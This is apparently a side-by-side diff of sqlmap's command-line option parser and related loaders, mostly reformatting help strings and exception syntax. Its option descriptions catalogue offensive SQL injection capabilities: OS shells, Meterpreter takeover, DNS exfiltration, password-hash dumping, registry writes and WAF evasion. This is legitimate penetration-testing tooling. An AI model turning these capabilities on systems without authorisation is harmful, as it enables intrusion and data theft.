help="Proxy authentication credentials " help="Proxy authentication credentials (name:password)")
"(name:password)")
request.add_option("--proxy-file", dest="proxyFile", request.add_option("--proxy-file", dest="proxyFile",
help="Load proxy list from a file") help="Load proxy list from a file")
request.add_option("--tor", dest="tor", request.add_option("--tor", dest="tor", action="store_true",
action="store_true", help="Use Tor anonymity network")
help="Use Tor anonymity network")
request.add_option("--tor-port", dest="torPort", request.add_option("--tor-port", dest="torPort",
help="Set Tor proxy port other than default") help="Set Tor proxy port other than default")
request.add_option("--tor-type", dest="torType", request.add_option("--tor-type", dest="torType",
help="Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))") help="Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))")
request.add_option("--check-tor", dest="checkTor", request.add_option("--check-tor", dest="checkTor", action="store_true",
action="store_true", help="Check to see if Tor is used properly")
help="Check to see if Tor is used properly")
request.add_option("--delay", dest="delay", type="float", request.add_option("--delay", dest="delay", type="float",
help="Delay in seconds between each HTTP request") help="Delay in seconds between each HTTP request")
request.add_option("--timeout", dest="timeout", type="float", request.add_option("--timeout", dest="timeout", type="float",
help="Seconds to wait before timeout connection " help="Seconds to wait before timeout connection (default %d)" % defaults.timeout)
"(default %d)" % defaults.timeout)
request.add_option("--retries", dest="retries", type="int", request.add_option("--retries", dest="retries", type="int",
help="Retries when the connection timeouts " help="Retries when the connection timeouts (default %d)" % defaults.retries)
"(default %d)" % defaults.retries)
request.add_option("--randomize", dest="rParam", request.add_option("--randomize", dest="rParam",
help="Randomly change value for given parameter(s)") help="Randomly change value for given parameter(s)")
@@ -211,8 +200,7 @@ def cmdLineParser(argv=None):
request.add_option("--safe-freq", dest="safeFreq", type="int", request.add_option("--safe-freq", dest="safeFreq", type="int",
help="Test requests between two visits to a given safe URL") help="Test requests between two visits to a given safe URL")
request.add_option("--skip-urlencode", dest="skipUrlEncode", request.add_option("--skip-urlencode", dest="skipUrlEncode", action="store_true",
action="store_true",
help="Skip URL encoding of payload data") help="Skip URL encoding of payload data")
request.add_option("--csrf-token", dest="csrfToken", request.add_option("--csrf-token", dest="csrfToken",
@@ -221,44 +209,36 @@ def cmdLineParser(argv=None):
request.add_option("--csrf-url", dest="csrfUrl", request.add_option("--csrf-url", dest="csrfUrl",
help="URL address to visit to extract anti-CSRF token") help="URL address to visit to extract anti-CSRF token")
request.add_option("--force-ssl", dest="forceSSL", request.add_option("--force-ssl", dest="forceSSL", action="store_true",
action="store_true",
help="Force usage of SSL/HTTPS") help="Force usage of SSL/HTTPS")
request.add_option("--hpp", dest="hpp", request.add_option("--hpp", dest="hpp", action="store_true",
action="store_true", help="Use HTTP parameter pollution method")
help="Use HTTP parameter pollution method")
request.add_option("--eval", dest="evalCode", request.add_option("--eval", dest="evalCode",
help="Evaluate provided Python code before the request (e.g. \"import hashlib;id2=hashlib.md5(id).hexdigest()\")") help="Evaluate provided Python code before the request (e.g. \"import hashlib;id2=hashlib.md5(id).hexdigest()\")")
# Optimization options # Optimization options
optimization = OptionGroup(parser, "Optimization", "These " optimization = OptionGroup(parser, "Optimization", "These options can be used to optimize the performance of sqlmap")
"options can be used to optimize the "
"performance of sqlmap")
optimization.add_option("-o", dest="optimize", optimization.add_option("-o", dest="optimize", action="store_true",
action="store_true", help="Turn on all optimization switches")
help="Turn on all optimization switches")
optimization.add_option("--predict-output", dest="predictOutput", action="store_true", optimization.add_option("--predict-output", dest="predictOutput", action="store_true",
help="Predict common queries output") help="Predict common queries output")
optimization.add_option("--keep-alive", dest="keepAlive", action="store_true", optimization.add_option("--keep-alive", dest="keepAlive", action="store_true",
help="Use persistent HTTP(s) connections") help="Use persistent HTTP(s) connections")
optimization.add_option("--null-connection", dest="nullConnection", action="store_true", optimization.add_option("--null-connection", dest="nullConnection", action="store_true",
help="Retrieve page length without actual HTTP response body") help="Retrieve page length without actual HTTP response body")
optimization.add_option("--threads", dest="threads", type="int", optimization.add_option("--threads", dest="threads", type="int",
help="Max number of concurrent HTTP(s) " help="Max number of concurrent HTTP(s) "
"requests (default %d)" % defaults.threads) "requests (default %d)" % defaults.threads)
# Injection options # Injection options
injection = OptionGroup(parser, "Injection", "These options can be " injection = OptionGroup(parser, "Injection", "These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts")
"used to specify which parameters to test "
"for, provide custom injection payloads and "
"optional tampering scripts")
injection.add_option("-p", dest="testParameter", injection.add_option("-p", dest="testParameter",
help="Testable parameter(s)") help="Testable parameter(s)")
@@ -270,36 +250,30 @@ def cmdLineParser(argv=None):
help="Skip testing parameters that not appear to be dynamic") help="Skip testing parameters that not appear to be dynamic")
injection.add_option("--param-exclude", dest="paramExclude", injection.add_option("--param-exclude", dest="paramExclude",
help="Regexp to exclude parameters from testing (e.g. \"ses\")") help="Regexp to exclude parameters from testing (e.g. \"ses\")")
injection.add_option("--dbms", dest="dbms", injection.add_option("--dbms", dest="dbms",
help="Force back-end DBMS to this value") help="Force back-end DBMS to this value")
injection.add_option("--dbms-cred", dest="dbmsCred", injection.add_option("--dbms-cred", dest="dbmsCred",
help="DBMS authentication credentials (user:password)") help="DBMS authentication credentials (user:password)")
injection.add_option("--os", dest="os", injection.add_option("--os", dest="os",
help="Force back-end DBMS operating system " help="Force back-end DBMS operating system to this value")
"to this value")
injection.add_option("--invalid-bignum", dest="invalidBignum", injection.add_option("--invalid-bignum", dest="invalidBignum", action="store_true",
action="store_true",
help="Use big numbers for invalidating values") help="Use big numbers for invalidating values")
injection.add_option("--invalid-logical", dest="invalidLogical", injection.add_option("--invalid-logical", dest="invalidLogical", action="store_true",
action="store_true",
help="Use logical operations for invalidating values") help="Use logical operations for invalidating values")
injection.add_option("--invalid-string", dest="invalidString", injection.add_option("--invalid-string", dest="invalidString", action="store_true",
action="store_true",
help="Use random strings for invalidating values") help="Use random strings for invalidating values")
injection.add_option("--no-cast", dest="noCast", injection.add_option("--no-cast", dest="noCast", action="store_true",
action="store_true",
help="Turn off payload casting mechanism") help="Turn off payload casting mechanism")
injection.add_option("--no-escape", dest="noEscape", injection.add_option("--no-escape", dest="noEscape", action="store_true",
action="store_true",
help="Turn off string escaping mechanism") help="Turn off string escaping mechanism")
injection.add_option("--prefix", dest="prefix", injection.add_option("--prefix", dest="prefix",
@@ -312,54 +286,40 @@ def cmdLineParser(argv=None):
help="Use given script(s) for tampering injection data") help="Use given script(s) for tampering injection data")
# Detection options # Detection options
detection = OptionGroup(parser, "Detection", "These options can be " detection = OptionGroup(parser, "Detection", "These options can be used to customize the detection phase")
"used to customize the detection phase")
detection.add_option("--level", dest="level", type="int", detection.add_option("--level", dest="level", type="int",
help="Level of tests to perform (1-5, " help="Level of tests to perform (1-5, default %d)" % defaults.level)
"default %d)" % defaults.level)
detection.add_option("--risk", dest="risk", type="int", detection.add_option("--risk", dest="risk", type="int",
help="Risk of tests to perform (1-3, " help="Risk of tests to perform (1-3, default %d)" % defaults.risk)
"default %d)" % defaults.risk)
detection.add_option("--string", dest="string", detection.add_option("--string", dest="string",
help="String to match when " help="String to match when query is evaluated to True")
"query is evaluated to True")
detection.add_option("--not-string", dest="notString", detection.add_option("--not-string", dest="notString",
help="String to match when " help="String to match when query is evaluated to False")
"query is evaluated to False")
detection.add_option("--regexp", dest="regexp", detection.add_option("--regexp", dest="regexp",
help="Regexp to match when " help="Regexp to match when query is evaluated to True")
"query is evaluated to True")
detection.add_option("--code", dest="code", type="int", detection.add_option("--code", dest="code", type="int",
help="HTTP code to match when " help="HTTP code to match when query is evaluated to True")
"query is evaluated to True")
detection.add_option("--text-only", dest="textOnly", detection.add_option("--text-only", dest="textOnly", action="store_true",
action="store_true",
help="Compare pages based only on the textual content") help="Compare pages based only on the textual content")
detection.add_option("--titles", dest="titles", detection.add_option("--titles", dest="titles", action="store_true",
action="store_true",
help="Compare pages based only on their titles") help="Compare pages based only on their titles")
# Techniques options # Techniques options
techniques = OptionGroup(parser, "Techniques", "These options can be " techniques = OptionGroup(parser, "Techniques", "These options can be used to tweak testing of specific SQL injection techniques")
"used to tweak testing of specific SQL "
"injection techniques")
techniques.add_option("--technique", dest="tech", techniques.add_option("--technique", dest="tech",
help="SQL injection techniques to use " help="SQL injection techniques to use (default \"%s\")" % defaults.tech)
"(default \"%s\")" % defaults.tech)
techniques.add_option("--time-sec", dest="timeSec", techniques.add_option("--time-sec", dest="timeSec", type="int",
type="int", help="Seconds to delay the DBMS response (default %d)" % defaults.timeSec)
help="Seconds to delay the DBMS response "
"(default %d)" % defaults.timeSec)
techniques.add_option("--union-cols", dest="uCols", techniques.add_option("--union-cols", dest="uCols",
help="Range of columns to test for UNION query SQL injection") help="Range of columns to test for UNION query SQL injection")
@@ -374,58 +334,45 @@ def cmdLineParser(argv=None):
help="Domain name used for DNS exfiltration attack") help="Domain name used for DNS exfiltration attack")
techniques.add_option("--second-order", dest="secondOrder", techniques.add_option("--second-order", dest="secondOrder",
help="Resulting page URL searched for second-order " help="Resulting page URL searched for second-order response")
"response")
# Fingerprint options # Fingerprint options
fingerprint = OptionGroup(parser, "Fingerprint") fingerprint = OptionGroup(parser, "Fingerprint")
fingerprint.add_option("-f", "--fingerprint", dest="extensiveFp", fingerprint.add_option("-f", "--fingerprint", dest="extensiveFp", action="store_true",
action="store_true",
help="Perform an extensive DBMS version fingerprint") help="Perform an extensive DBMS version fingerprint")
# Enumeration options # Enumeration options
enumeration = OptionGroup(parser, "Enumeration", "These options can " enumeration = OptionGroup(parser, "Enumeration", "These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements")
"be used to enumerate the back-end database "
"management system information, structure "
"and data contained in the tables. Moreover "
"you can run your own SQL statements")
enumeration.add_option("-a", "--all", dest="getAll", enumeration.add_option("-a", "--all", dest="getAll", action="store_true",
action="store_true", help="Retrieve everything") help="Retrieve everything")
enumeration.add_option("-b", "--banner", dest="getBanner", enumeration.add_option("-b", "--banner", dest="getBanner", action="store_true",
action="store_true", help="Retrieve DBMS banner") help="Retrieve DBMS banner")
enumeration.add_option("--current-user", dest="getCurrentUser", enumeration.add_option("--current-user", dest="getCurrentUser", action="store_true",
action="store_true",
help="Retrieve DBMS current user") help="Retrieve DBMS current user")
enumeration.add_option("--current-db", dest="getCurrentDb", enumeration.add_option("--current-db", dest="getCurrentDb", action="store_true",
action="store_true",
help="Retrieve DBMS current database") help="Retrieve DBMS current database")
enumeration.add_option("--hostname", dest="getHostname", enumeration.add_option("--hostname", dest="getHostname", action="store_true",
action="store_true",
help="Retrieve DBMS server hostname") help="Retrieve DBMS server hostname")
enumeration.add_option("--is-dba", dest="isDba", enumeration.add_option("--is-dba", dest="isDba", action="store_true",
action="store_true",
help="Detect if the DBMS current user is DBA") help="Detect if the DBMS current user is DBA")
enumeration.add_option("--users", dest="getUsers", action="store_true", enumeration.add_option("--users", dest="getUsers", action="store_true",
help="Enumerate DBMS users") help="Enumerate DBMS users")
enumeration.add_option("--passwords", dest="getPasswordHashes", enumeration.add_option("--passwords", dest="getPasswordHashes", action="store_true",
action="store_true",
help="Enumerate DBMS users password hashes") help="Enumerate DBMS users password hashes")
enumeration.add_option("--privileges", dest="getPrivileges", enumeration.add_option("--privileges", dest="getPrivileges", action="store_true",
action="store_true",
help="Enumerate DBMS users privileges") help="Enumerate DBMS users privileges")
enumeration.add_option("--roles", dest="getRoles", enumeration.add_option("--roles", dest="getRoles", action="store_true",
action="store_true",
help="Enumerate DBMS users roles") help="Enumerate DBMS users roles")
enumeration.add_option("--dbs", dest="getDbs", action="store_true", enumeration.add_option("--dbs", dest="getDbs", action="store_true",
@@ -464,16 +411,14 @@ def cmdLineParser(argv=None):
enumeration.add_option("-C", dest="col", enumeration.add_option("-C", dest="col",
help="DBMS database table column(s) to enumerate") help="DBMS database table column(s) to enumerate")
enumeration.add_option("-X", dest="excludeCol", enumeration.add_option("-X", dest="exclude",
help="DBMS database table column(s) to not enumerate") help="DBMS database identifier(s) to not enumerate")
enumeration.add_option("-U", dest="user", enumeration.add_option("-U", dest="user",
help="DBMS user to enumerate") help="DBMS user to enumerate")
enumeration.add_option("--exclude-sysdbs", dest="excludeSysDbs", enumeration.add_option("--exclude-sysdbs", dest="excludeSysDbs", action="store_true",
action="store_true", help="Exclude DBMS system databases when enumerating tables")
help="Exclude DBMS system databases when "
"enumerating tables")
enumeration.add_option("--pivot-column", dest="pivotColumn", enumeration.add_option("--pivot-column", dest="pivotColumn",
help="Pivot column name") help="Pivot column name")
@@ -496,28 +441,23 @@ def cmdLineParser(argv=None):
enumeration.add_option("--sql-query", dest="query", enumeration.add_option("--sql-query", dest="query",
help="SQL statement to be executed") help="SQL statement to be executed")
enumeration.add_option("--sql-shell", dest="sqlShell", enumeration.add_option("--sql-shell", dest="sqlShell", action="store_true",
action="store_true",
help="Prompt for an interactive SQL shell") help="Prompt for an interactive SQL shell")
enumeration.add_option("--sql-file", dest="sqlFile", enumeration.add_option("--sql-file", dest="sqlFile",
help="Execute SQL statements from given file(s)") help="Execute SQL statements from given file(s)")
# Brute force options # Brute force options
brute = OptionGroup(parser, "Brute force", "These " brute = OptionGroup(parser, "Brute force", "These options can be used to run brute force checks")
"options can be used to run brute force "
"checks")
brute.add_option("--common-tables", dest="commonTables", action="store_true", brute.add_option("--common-tables", dest="commonTables", action="store_true",
help="Check existence of common tables") help="Check existence of common tables")
brute.add_option("--common-columns", dest="commonColumns", action="store_true", brute.add_option("--common-columns", dest="commonColumns", action="store_true",
help="Check existence of common columns") help="Check existence of common columns")
# User-defined function options # User-defined function options
udf = OptionGroup(parser, "User-defined function injection", "These " udf = OptionGroup(parser, "User-defined function injection", "These options can be used to create custom user-defined functions")
"options can be used to create custom user-defined "
"functions")
udf.add_option("--udf-inject", dest="udfInject", action="store_true", udf.add_option("--udf-inject", dest="udfInject", action="store_true",
help="Inject custom user-defined functions") help="Inject custom user-defined functions")
@@ -526,167 +466,131 @@ def cmdLineParser(argv=None):
help="Local path of the shared library") help="Local path of the shared library")
# File system options # File system options
filesystem = OptionGroup(parser, "File system access", "These options " filesystem = OptionGroup(parser, "File system access", "These options can be used to access the back-end database management system underlying file system")
"can be used to access the back-end database "
"management system underlying file system")
filesystem.add_option("--file-read", dest="rFile", filesystem.add_option("--file-read", dest="rFile",
help="Read a file from the back-end DBMS " help="Read a file from the back-end DBMS file system")
"file system")
filesystem.add_option("--file-write", dest="wFile", filesystem.add_option("--file-write", dest="wFile",
help="Write a local file on the back-end " help="Write a local file on the back-end DBMS file system")
"DBMS file system")
filesystem.add_option("--file-dest", dest="dFile", filesystem.add_option("--file-dest", dest="dFile",
help="Back-end DBMS absolute filepath to " help="Back-end DBMS absolute filepath to write to")
"write to")
# Takeover options # Takeover options
takeover = OptionGroup(parser, "Operating system access", "These " takeover = OptionGroup(parser, "Operating system access", "These options can be used to access the back-end database management system underlying operating system")
"options can be used to access the back-end "
"database management system underlying "
"operating system")
takeover.add_option("--os-cmd", dest="osCmd", takeover.add_option("--os-cmd", dest="osCmd",
help="Execute an operating system command") help="Execute an operating system command")
takeover.add_option("--os-shell", dest="osShell", takeover.add_option("--os-shell", dest="osShell", action="store_true",
action="store_true", help="Prompt for an interactive operating system shell")
help="Prompt for an interactive operating "
"system shell")
takeover.add_option("--os-pwn", dest="osPwn", takeover.add_option("--os-pwn", dest="osPwn", action="store_true",
action="store_true", help="Prompt for an OOB shell, Meterpreter or VNC")
help="Prompt for an OOB shell, "
"Meterpreter or VNC")
takeover.add_option("--os-smbrelay", dest="osSmb", takeover.add_option("--os-smbrelay", dest="osSmb", action="store_true",
action="store_true", help="One click prompt for an OOB shell, Meterpreter or VNC")
help="One click prompt for an OOB shell, "
"Meterpreter or VNC")
takeover.add_option("--os-bof", dest="osBof", takeover.add_option("--os-bof", dest="osBof", action="store_true",
action="store_true",
help="Stored procedure buffer overflow " help="Stored procedure buffer overflow "
"exploitation") "exploitation")
takeover.add_option("--priv-esc", dest="privEsc", takeover.add_option("--priv-esc", dest="privEsc", action="store_true",
action="store_true",
help="Database process user privilege escalation") help="Database process user privilege escalation")
takeover.add_option("--msf-path", dest="msfPath", takeover.add_option("--msf-path", dest="msfPath",
help="Local path where Metasploit Framework " help="Local path where Metasploit Framework is installed")
"is installed")
takeover.add_option("--tmp-path", dest="tmpPath", takeover.add_option("--tmp-path", dest="tmpPath",
help="Remote absolute path of temporary files " help="Remote absolute path of temporary files directory")
"directory")
# Windows registry options # Windows registry options
windows = OptionGroup(parser, "Windows registry access", "These " windows = OptionGroup(parser, "Windows registry access", "These options can be used to access the back-end database management system Windows registry")
"options can be used to access the back-end "
"database management system Windows "
"registry")
windows.add_option("--reg-read", dest="regRead", windows.add_option("--reg-read", dest="regRead", action="store_true",
action="store_true", help="Read a Windows registry key value")
help="Read a Windows registry key value")
windows.add_option("--reg-add", dest="regAdd", windows.add_option("--reg-add", dest="regAdd", action="store_true",
action="store_true", help="Write a Windows registry key value data")
help="Write a Windows registry key value data")
windows.add_option("--reg-del", dest="regDel", windows.add_option("--reg-del", dest="regDel", action="store_true",
action="store_true", help="Delete a Windows registry key value")
help="Delete a Windows registry key value")
windows.add_option("--reg-key", dest="regKey", windows.add_option("--reg-key", dest="regKey",
help="Windows registry key") help="Windows registry key")
windows.add_option("--reg-value", dest="regVal", windows.add_option("--reg-value", dest="regVal",
help="Windows registry key value") help="Windows registry key value")
windows.add_option("--reg-data", dest="regData", windows.add_option("--reg-data", dest="regData",
help="Windows registry key value data") help="Windows registry key value data")
windows.add_option("--reg-type", dest="regType", windows.add_option("--reg-type", dest="regType",
help="Windows registry key value type") help="Windows registry key value type")
# General options # General options
general = OptionGroup(parser, "General", "These options can be used " general = OptionGroup(parser, "General", "These options can be used to set some general working parameters")
"to set some general working parameters")
general.add_option("-s", dest="sessionFile", general.add_option("-s", dest="sessionFile",
help="Load session from a stored (.sqlite) file") help="Load session from a stored (.sqlite) file")
general.add_option("-t", dest="trafficFile", general.add_option("-t", dest="trafficFile",
help="Log all HTTP traffic into a " help="Log all HTTP traffic into a textual file")
"textual file")
general.add_option("--batch", dest="batch", general.add_option("--batch", dest="batch", action="store_true",
action="store_true", help="Never ask for user input, use the default behavior")
help="Never ask for user input, use the default behavior")
general.add_option("--binary-fields", dest="binaryFields", general.add_option("--binary-fields", dest="binaryFields",
help="Result fields having binary values (e.g. \"digest\")") help="Result fields having binary values (e.g. \"digest\")")
general.add_option("--check-internet", dest="checkInternet", general.add_option("--check-internet", dest="checkInternet", action="store_true",
action="store_true", help="Check Internet connection before assessing the target")
help="Check Internet connection before assessing the target")
general.add_option("--crawl", dest="crawlDepth", type="int", general.add_option("--crawl", dest="crawlDepth", type="int",
help="Crawl the website starting from the target URL") help="Crawl the website starting from the target URL")
general.add_option("--crawl-exclude", dest="crawlExclude", general.add_option("--crawl-exclude", dest="crawlExclude",
help="Regexp to exclude pages from crawling (e.g. \"logout\")") help="Regexp to exclude pages from crawling (e.g. \"logout\")")
general.add_option("--csv-del", dest="csvDel", general.add_option("--csv-del", dest="csvDel",
help="Delimiting character used in CSV output " help="Delimiting character used in CSV output (default \"%s\")" % defaults.csvDel)
"(default \"%s\")" % defaults.csvDel)
general.add_option("--charset", dest="charset", general.add_option("--charset", dest="charset",
help="Blind SQL injection charset (e.g. \"0123456789abcdef\")") help="Blind SQL injection charset (e.g. \"0123456789abcdef\")")
general.add_option("--dump-format", dest="dumpFormat", general.add_option("--dump-format", dest="dumpFormat",
help="Format of dumped data (CSV (default), HTML or SQLITE)") help="Format of dumped data (CSV (default), HTML or SQLITE)")
general.add_option("--encoding", dest="encoding", general.add_option("--encoding", dest="encoding",
help="Character encoding used for data retrieval (e.g. GBK)") help="Character encoding used for data retrieval (e.g. GBK)")
general.add_option("--eta", dest="eta", general.add_option("--eta", dest="eta", action="store_true",
action="store_true", help="Display for each output the estimated time of arrival")
help="Display for each output the estimated time of arrival")
general.add_option("--flush-session", dest="flushSession", general.add_option("--flush-session", dest="flushSession", action="store_true",
action="store_true", help="Flush session files for current target")
help="Flush session files for current target")
general.add_option("--forms", dest="forms", general.add_option("--forms", dest="forms", action="store_true",
action="store_true", help="Parse and test forms on target URL")
help="Parse and test forms on target URL")
general.add_option("--fresh-queries", dest="freshQueries", general.add_option("--fresh-queries", dest="freshQueries", action="store_true",
action="store_true", help="Ignore query results stored in session file")
help="Ignore query results stored in session file")
general.add_option("--har", dest="harFile", general.add_option("--har", dest="harFile",
help="Log all HTTP traffic into a HAR file") help="Log all HTTP traffic into a HAR file")
general.add_option("--hex", dest="hexConvert", general.add_option("--hex", dest="hexConvert", action="store_true",
action="store_true", help="Use DBMS hex function(s) for data retrieval")
help="Use DBMS hex function(s) for data retrieval")
general.add_option("--output-dir", dest="outputDir", general.add_option("--output-dir", dest="outputDir", action="store",
action="store", help="Custom output directory path")
help="Custom output directory path")
general.add_option("--parse-errors", dest="parseErrors", general.add_option("--parse-errors", dest="parseErrors", action="store_true",
action="store_true", help="Parse and display DBMS error messages from responses")
help="Parse and display DBMS error messages from responses")
general.add_option("--save", dest="saveConfig", general.add_option("--save", dest="saveConfig",
help="Save options to a configuration INI file") help="Save options to a configuration INI file")
general.add_option("--scope", dest="scope", general.add_option("--scope", dest="scope",
help="Regexp to filter targets from provided proxy log") help="Regexp to filter targets from provided proxy log")
@@ -697,77 +601,65 @@ def cmdLineParser(argv=None):
general.add_option("--test-skip", dest="testSkip", general.add_option("--test-skip", dest="testSkip",
help="Skip tests by payloads and/or titles (e.g. BENCHMARK)") help="Skip tests by payloads and/or titles (e.g. BENCHMARK)")
general.add_option("--update", dest="updateAll", general.add_option("--update", dest="updateAll", action="store_true",
action="store_true", help="Update sqlmap")
help="Update sqlmap")
# Miscellaneous options # Miscellaneous options
miscellaneous = OptionGroup(parser, "Miscellaneous") miscellaneous = OptionGroup(parser, "Miscellaneous")
miscellaneous.add_option("-z", dest="mnemonics", miscellaneous.add_option("-z", dest="mnemonics",
help="Use short mnemonics (e.g. \"flu,bat,ban,tec=EU\")") help="Use short mnemonics (e.g. \"flu,bat,ban,tec=EU\")")
miscellaneous.add_option("--alert", dest="alert", miscellaneous.add_option("--alert", dest="alert",
help="Run host OS command(s) when SQL injection is found") help="Run host OS command(s) when SQL injection is found")
miscellaneous.add_option("--answers", dest="answers", miscellaneous.add_option("--answers", dest="answers",
help="Set question answers (e.g. \"quit=N,follow=N\")") help="Set question answers (e.g. \"quit=N,follow=N\")")
miscellaneous.add_option("--beep", dest="beep", action="store_true", miscellaneous.add_option("--beep", dest="beep", action="store_true",
help="Beep on question and/or when SQL injection is found") help="Beep on question and/or when SQL injection is found")
miscellaneous.add_option("--cleanup", dest="cleanup", miscellaneous.add_option("--cleanup", dest="cleanup", action="store_true",
action="store_true", help="Clean up the DBMS from sqlmap specific UDF and tables")
help="Clean up the DBMS from sqlmap specific "
"UDF and tables")
miscellaneous.add_option("--dependencies", dest="dependencies", miscellaneous.add_option("--dependencies", dest="dependencies", action="store_true",
action="store_true", help="Check for missing (non-core) sqlmap dependencies")
help="Check for missing (non-core) sqlmap dependencies")
miscellaneous.add_option("--disable-coloring", dest="disableColoring", miscellaneous.add_option("--disable-coloring", dest="disableColoring", action="store_true",
action="store_true", help="Disable console output coloring")
help="Disable console output coloring")
miscellaneous.add_option("--gpage", dest="googlePage", type="int", miscellaneous.add_option("--gpage", dest="googlePage", type="int",
help="Use Google dork results from specified page number") help="Use Google dork results from specified page number")
miscellaneous.add_option("--identify-waf", dest="identifyWaf", miscellaneous.add_option("--identify-waf", dest="identifyWaf", action="store_true",
action="store_true", help="Make a thorough testing for a WAF/IPS/IDS protection")
help="Make a thorough testing for a WAF/IPS/IDS protection")
miscellaneous.add_option("--mobile", dest="mobile", miscellaneous.add_option("--mobile", dest="mobile", action="store_true",
action="store_true", help="Imitate smartphone through HTTP User-Agent header")
help="Imitate smartphone through HTTP User-Agent header")
miscellaneous.add_option("--offline", dest="offline", miscellaneous.add_option("--offline", dest="offline", action="store_true",
action="store_true", help="Work in offline mode (only use session data)")
help="Work in offline mode (only use session data)")
miscellaneous.add_option("--purge-output", dest="purgeOutput", miscellaneous.add_option("--purge-output", dest="purgeOutput", action="store_true",
action="store_true", help="Safely remove all content from output directory")
help="Safely remove all content from output directory")
miscellaneous.add_option("--skip-waf", dest="skipWaf", miscellaneous.add_option("--skip-waf", dest="skipWaf", action="store_true",
action="store_true", help="Skip heuristic detection of WAF/IPS/IDS protection")
help="Skip heuristic detection of WAF/IPS/IDS protection")
miscellaneous.add_option("--smart", dest="smart", miscellaneous.add_option("--smart", dest="smart", action="store_true",
action="store_true", help="Conduct thorough tests only if positive heuristic(s)")
help="Conduct thorough tests only if positive heuristic(s)")
miscellaneous.add_option("--sqlmap-shell", dest="sqlmapShell", action="store_true", miscellaneous.add_option("--sqlmap-shell", dest="sqlmapShell", action="store_true",
help="Prompt for an interactive sqlmap shell") help="Prompt for an interactive sqlmap shell")
miscellaneous.add_option("--tmp-dir", dest="tmpDir", miscellaneous.add_option("--tmp-dir", dest="tmpDir",
help="Local directory for storing temporary files") help="Local directory for storing temporary files")
miscellaneous.add_option("--web-root", dest="webRoot", miscellaneous.add_option("--web-root", dest="webRoot",
help="Web server document root directory (e.g. \"/var/www\")") help="Web server document root directory (e.g. \"/var/www\")")
miscellaneous.add_option("--wizard", dest="wizard", miscellaneous.add_option("--wizard", dest="wizard", action="store_true",
action="store_true", help="Simple wizard interface for beginner users")
help="Simple wizard interface for beginner users")
# Hidden and/or experimental options # Hidden and/or experimental options
parser.add_option("--dummy", dest="dummy", action="store_true", parser.add_option("--dummy", dest="dummy", action="store_true",
@@ -909,7 +801,7 @@ def cmdLineParser(argv=None):
for arg in shlex.split(command): for arg in shlex.split(command):
argv.append(getUnicode(arg, encoding=sys.stdin.encoding)) argv.append(getUnicode(arg, encoding=sys.stdin.encoding))
except ValueError, ex: except ValueError, ex:
raise SqlmapSyntaxException, "something went wrong during command line parsing ('%s')" % ex.message raise SqlmapSyntaxException("something went wrong during command line parsing ('%s')" % ex.message)
for i in xrange(len(argv)): for i in xrange(len(argv)):
if argv[i] == "-hh": if argv[i] == "-hh":
@@ -976,9 +868,7 @@ def cmdLineParser(argv=None):
if args.dummy: if args.dummy:
args.url = args.url or DUMMY_URL args.url = args.url or DUMMY_URL
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, \ if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.wizard, args.dependencies, args.purgeOutput, args.sitemapUrl)):
args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.wizard, args.dependencies, \
args.purgeOutput, args.sitemapUrl)):
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --wizard, --update, --purge-output or --dependencies), " errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --wizard, --update, --purge-output or --dependencies), "
errMsg += "use -h for basic or -hh for advanced help\n" errMsg += "use -h for basic or -hh for advanced help\n"
parser.error(errMsg) parser.error(errMsg)
+5 -7
View File
@@ -24,18 +24,16 @@ def headersParser(headers):
if not kb.headerPaths: if not kb.headerPaths:
kb.headerPaths = { kb.headerPaths = {
"microsoftsharepointteamservices": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "sharepoint.xml"), "microsoftsharepointteamservices": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "sharepoint.xml"),
"server": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "server.xml"), "server": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "server.xml"),
"servlet-engine": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "servlet-engine.xml"), "servlet-engine": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "servlet-engine.xml"),
"set-cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "set-cookie.xml"), "set-cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "set-cookie.xml"),
"x-aspnet-version": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-aspnet-version.xml"), "x-aspnet-version": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-aspnet-version.xml"),
"x-powered-by": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml"), "x-powered-by": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml"),
} }
for header in itertools.ifilter(lambda x: x in kb.headerPaths, headers): for header in itertools.ifilter(lambda x: x in kb.headerPaths, headers):
value = headers[header] value = headers[header]
xmlfile = kb.headerPaths[header] xmlfile = kb.headerPaths[header]
handler = FingerprintHandler(value, kb.headersFp) handler = FingerprintHandler(value, kb.headersFp)
parseXmlFile(xmlfile, handler) parseXmlFile(xmlfile, handler)
parseXmlFile(paths.GENERIC_XML, handler) parseXmlFile(paths.GENERIC_XML, handler)
+2 -2
View File
@@ -78,7 +78,7 @@ def loadBoundaries():
errMsg = "something appears to be wrong with " errMsg = "something appears to be wrong with "
errMsg += "the file '%s' ('%s'). Please make " % (paths.BOUNDARIES_XML, getSafeExString(ex)) errMsg += "the file '%s' ('%s'). Please make " % (paths.BOUNDARIES_XML, getSafeExString(ex))
errMsg += "sure that you haven't made any changes to it" errMsg += "sure that you haven't made any changes to it"
raise SqlmapInstallationException, errMsg raise SqlmapInstallationException(errMsg)
root = doc.getroot() root = doc.getroot()
parseXmlNode(root) parseXmlNode(root)
@@ -93,7 +93,7 @@ def loadPayloads():
errMsg = "something appears to be wrong with " errMsg = "something appears to be wrong with "
errMsg += "the file '%s' ('%s'). Please make " % (payloadFilePath, getSafeExString(ex)) errMsg += "the file '%s' ('%s'). Please make " % (payloadFilePath, getSafeExString(ex))
